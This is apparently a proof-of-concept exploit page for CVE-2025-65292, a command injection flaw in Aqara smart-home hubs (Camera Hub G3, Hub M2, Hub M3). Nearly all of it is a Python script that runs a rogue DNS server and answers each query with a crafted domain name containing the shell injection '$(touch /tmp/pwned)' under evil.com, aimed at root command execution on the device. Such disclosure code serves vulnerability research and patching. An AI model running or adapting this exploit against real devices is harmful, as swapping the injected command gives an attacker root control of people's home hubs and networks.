CVE-2025-65292: Aqara Hub命令注入漏洞允许root权限执行

#!/usr/bin/env python3 # CVE-2025-65292 PoC - Aqara Hub Command Injection # This PoC demonstrates the command injection vulnerability in Aqara Hub devices # Target: Camera Hub G3, Hub M2, Hub M3 import socket import struct import time def build_dns_response_with_payload(): """ Build DNS response with malicious domain containing command injection payload """ # Malicious domain with command injection # Inject: $(touch /tmp/pwned) to demonstrate arbitrary command execution malicious_domain = "test$(touch /tmp/pwned).evil.com" # DNS response packet construction transaction_id = b'\x00\x01' flags = b'\x81\x80' # Standard response questions = b'\x00\x01' answer_rrs = b'\x00\x01' authority_rrs = b'\x00\x00' additional_rrs = b'\x00\x00' # Question section qname = b'' for part in malicious_domain.split('.'): qname += bytes([len(part)]) + part.encode() qname += b'\x00' qtype = b'\x00\x01' # A record qclass = b'\x00\x01' # IN class # Answer section name = b'\xc0\x0c' # Pointer to question name atype = b'\x00\x01' aclass = b'\x00\x01' ttl = b'\x00\x00\x00\x32' rdlength = b'\x00\x04' rdata = socket.inet_aton('127.0.0.1') dns_packet = (transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs + qname + qtype + qclass + name + atype + aclass + ttl + rdlength + rdata) return dns_packet def start_malicious_dns_server(): """ Start DNS server to serve malicious responses """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 53)) print("[*] Malicious DNS server started on port 53") print("[*] Waiting for Aqara Hub DNS queries...") while True: try: data, addr = sock.recvfrom(512) print(f"[+] Received DNS query from {addr}") # Send malicious DNS response response = build_dns_response_with_payload() sock.sendto(response, addr) print("[+] Sent malicious DNS response with command injection payload") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-65292 PoC - Aqara Hub Command Injection") print("=" * 60) print("Target: Aqara Camera Hub G3, Hub M2, Hub M3") print("Vulnerability: Command injection via malicious domain names") print("=" * 60) start_malicious_dns_server()